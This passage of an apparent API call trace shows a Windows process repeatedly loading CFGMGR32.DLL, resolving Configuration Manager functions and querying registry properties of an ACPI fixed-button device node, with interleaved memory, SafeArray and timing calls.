lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.012] malloc (_Size=0x18) returned 0x20abc281960 [0240.012] CM_Get_Device_IDA (in: dnDevInst=0x2f, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\FIXEDBUTTON\\2&DABA3FF&0") returned 0x0 [0240.012] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4ad26c40, dwHighDateTime=0x1d9eb0c)) [0240.013] SetEvent (hEvent=0x248) returned 1 [0240.017] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.017] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.018] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.018] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.018] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.022] malloc (_Size=0x18) returned 0x20abc281c00 [0240.023] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0240.023] malloc (_Size=0x3e) returned 0x20abc27cf80 [0240.023] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc27cf80, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc27cf80, pulLength=0x2dc22fd3f8) returned 0x0 [0240.024] free (_Block=0x20abc27cf80) [0240.024] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4ad4d2c4, dwHighDateTime=0x1d9eb0c)) [0240.025] SetEvent (hEvent=0x248) returned 1 [0240.069] malloc (_Size=0x18) returned 0x20abc2820a0 [0240.069] SafeArrayPutElement (psa=0x20abbaf1820, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0240.069] free (_Block=0x20abc2820a0) [0240.070] malloc (_Size=0x18) returned 0x20abc282060 [0240.070] SafeArrayPutElement (psa=0x20abbaf1820, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0240.070] free (_Block=0x20abc282060) [0240.070] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0240.070] SafeArrayGetDim (psa=0x20abbaf1820) returned 0x1 [0240.070] SafeArrayGetLBound (in: psa=0x20abbaf1820, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0240.070] SafeArrayGetUBound (in: psa=0x20abbaf1820, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0240.070] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0240.070] SafeArrayGetDim (psa=0x20abbaf1820) returned 0x1 [0240.070] SafeArrayGetUBound (in: psa=0x20abbaf1820, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0240.070] SafeArrayGetElemsize (psa=0x20abbaf1820) returned 0x8 [0240.070] SafeArrayGetElement (in: psa=0x20abbaf1820, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0240.071] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.071] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.072] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0240.072] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0240.073] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.073] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.078] malloc (_Size=0x18) returned 0x20abc282000 [0240.078] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0240.078] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4adbf402, dwHighDateTime=0x1d9eb0c)) [0240.079] SetEvent (hEvent=0x248) returned 1 [0240.084] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.084] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.088] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.088] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.088] malloc (_Size=0x18) returned 0x20abc281c80 [0240.088] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0240.093] malloc (_Size=0x48) returned 0x20abc2ab4a0 [0240.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4ade5cd8, dwHighDateTime=0x1d9eb0c)) [0240.094] SetEvent (hEvent=0x248) returned 1 [0240.099] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.099] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.099] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.099] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.103] malloc (_Size=0x18) returned 0x20abc281c60 [0240.103] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0240.104] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4ae0c6a4, dwHighDateTime=0x1d9eb0c)) [0240.104] SetEvent (hEvent=0x248) returned 1 [0240.109] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.109] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.191] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.192] malloc (_Size=0x18) returned 0x20abc281960 [0240.193] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0240.194] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4aef07c6, dwHighDateTime=0x1d9eb0c)) [0240.194] SetEvent (hEvent=0x248) returned 1 [0240.200] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.200] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.204] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.204] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.204] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.204] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.205] malloc (_Size=0x18) returned 0x20abc281a80 [0240.205] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0240.206] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4af16920, dwHighDateTime=0x1d9eb0c)) [0240.206] SetEvent (hEvent=0x248) returned 1 [0240.213] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.213] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.216] GetProcAddress (hModule=0x7ffb1ced0000, 